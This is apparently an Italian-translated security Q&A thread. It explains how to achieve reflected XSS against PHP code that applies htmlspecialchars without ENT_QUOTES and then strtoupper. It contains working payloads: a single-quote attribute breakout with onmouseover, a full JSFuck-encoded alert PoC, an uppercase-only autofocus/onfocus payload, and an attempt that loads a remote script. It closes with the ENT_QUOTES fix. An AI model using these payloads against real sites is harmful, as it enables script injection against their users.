bypass XSS strtoupper e htmlspecialchars

6

Ho esaminato un po 'di pentesting ma il seguente mi sfugge, penso di averlo capito ma non riesco a farlo scattare!

Cercando di ignorare quanto segue:

$strippedID = htmlspecialchars($ID);
$NEWID = strtoupper($strippedID);
...
echo "Tag ID: <input type='text' value='".$NEWID."'>";

Finora ho provato:

test-xss.php?id=%27%20onload=%27javascript:alert('XSS')

Questo non funziona perché la funzione di avviso è cambiata in maiuscolo, quindi viene generato un errore nella console. Ho anche provato a codificare tutti i parametri della richiesta.

test-xss.php?id=x%27%3E%3CSCRIPT%20SRC=http://xss.rocks/xss.js%3E%3C/SCRIPT%3E%3Ci%20z=%27x

e questo non sembra voler funzionare perché anche il < > sono codificati, sembrano ancora uscire come & lt; e & gt;

Forse solo l'attacco è charset UTF-7?

Qualche idea?

    
posta geekscrap 19.12.2016 - 06:25
fonte

1 risposta

10

Il tuo parametro $ID è stampato all'interno di un valore di attributo di tag HTML. Sfortunatamente, viene eseguito tramite htmlspecialchars() che dovrebbe codificare caratteri significativi in HTML. Poiché la funzione non ha il flag ENT_QUOTES impostato, sfuggirà < , > , & , " , ma non ' (virgolette singole). Fortunatamente per te, il valore è racchiuso tra virgolette singole, quindi puoi utilizzare ' per uscire dall'attributo.

Successivamente, vorrai chiudere il tag e avviarne uno nuovo (ad esempio <script> ), ma htmlspecialchars() non ti consente (poiché esegue il escape di > e < ). Quindi, invece, devi utilizzare un gestore di eventi che funzioni per i tag <input> . Il gestore di eventi onload non si applica alle caselle di input, ma puoi utilizzarne altre, ad esempio onmouseover . (L'effetto collaterale è che avrai bisogno di una minima interazione da parte dell'utente per attivare l'XSS, o devi sfruttare gli attributi aggiuntivi come autofocus per attivarlo immediatamente al caricamento della pagina.)

Quindi abbiamo questo:

<input type='text' value='' onmouseover='(javascript payload)'>
                          |-------------- $ID --------------|

Ora, non puoi usare semplicemente JS come alert(1) come carico utile poiché il valore scorre anche attraverso strtoupper() che capitalizzerebbe il nome della funzione in ALERT(1) che non è valido. Invece, devi trovare il codice JS che funzioni solo con le maiuscole o, ancora meglio, senza alcuna lettera. Per questo puoi usare uno strumento come JSFuck che traduce qualsiasi codice JS in una rappresentazione equivalente senza lettere.

Ad esempio, alert(1) diventa:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

Quindi, questo sarebbe un PoC XSS funzionante:

' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

Se l'uso di JSFuck non è pratico per te (ad esempio a causa delle restrizioni sulla lunghezza dell'URL come ha osservato @chefarov) ci sono altre tecniche che funzionano senza lettere minuscole. Ad esempio, il valore dell'attributo può essere interamente impostato come entità HTML in modo che il a di alert sia scritto come &#X61; e così via. (Nel tuo scenario specifico non puoi usarlo perché htmlspecialchars() potrebbe anche sfuggire a qualsiasi & .)

Tuttavia, ecco un PoC di un carico utile più breve che evita le lettere minuscole:

xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'('%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529'))')()//

(Sto essenzialmente assemblando Function(eval(decodeURI(...))) senza lettere minuscole e posso quindi inviarlo al payload effettivo codificato tramite URL (ad esempio a = > %61 ) che non richiede mai lettere minuscole.)

La correzione

Dovresti codificare sia le virgolette doppie che le virgolette singole aggiungendo il flag ENT_QUOTES :

$NEWID = strtoupper(htmlspecialchars($ID, ENT_QUOTES));
    
risposta data 19.12.2016 - 07:22
fonte

Leggi altre domande sui tag